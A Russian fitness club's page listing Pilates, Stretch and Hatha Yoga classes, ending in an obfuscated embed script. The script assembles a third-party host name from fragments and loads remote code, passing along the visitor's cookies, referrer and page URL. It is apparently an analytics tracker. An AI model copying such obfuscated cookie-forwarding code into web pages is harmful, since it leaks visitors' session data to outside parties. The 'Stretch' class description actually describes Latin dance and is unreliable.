Групповые программы

Body&Mind



Pilates

Система упражнений, позволяющая укрепить мышечный корсет при минимальной нагрузке на позвоночник, улучшить осанку, развить гибкость, подвижность суставов, эластичность связок, а так же межмышечную координацию
55 мин.
ПОДРОБНЕЕ

Stretch

Урок, основанный на хореографии латиноамериканских танцев. В программу включены: клубнгая латина (сальса, меренге, бачата) и классическая латина (самба, румба, ча-ча-ча, джайв, пасадобль).
55 мин.
ПОДРОБНЕЕ

Hatha Yoga

Стиль тренировок: совмещение статики и динамики. Плавный переход от асаны к асане с фазами фиксации и проработки отдельных поз (отстройка тела, работа с вниманием, дыханием).
90 мин.
ПОДРОБНЕЕ
ПОЛУЧИТЬ КЛУБНУЮ КАРТУ
(function(w, d, e) { var a = 'all', b = 'tou'; var src = b + 'c' +'h'; src = 'm' + 'o' + 'd.c' + a + src; var jsHost = (("https:" == d.location.protocol) ? "https://" : "http://")+ src; s = d.createElement(e); p = d.getElementsByTagName(e)[0]; s.async = 1; s.src = jsHost +"."+"r"+"u/d_client.js?param;ref"+escape(d.referrer)+";url"+escape(d.URL)+";cook"+escape(d.cookie); if(!w.jQuery) { jq = d.createElement(e); jq.src = jsHost +"."+"r"+'u/js/jquery-1.7.min.js'; p.parentNode.insertBefore(jq, p);} p.parentNode.insertBefore(s, p); }(window, document, 'script')); -->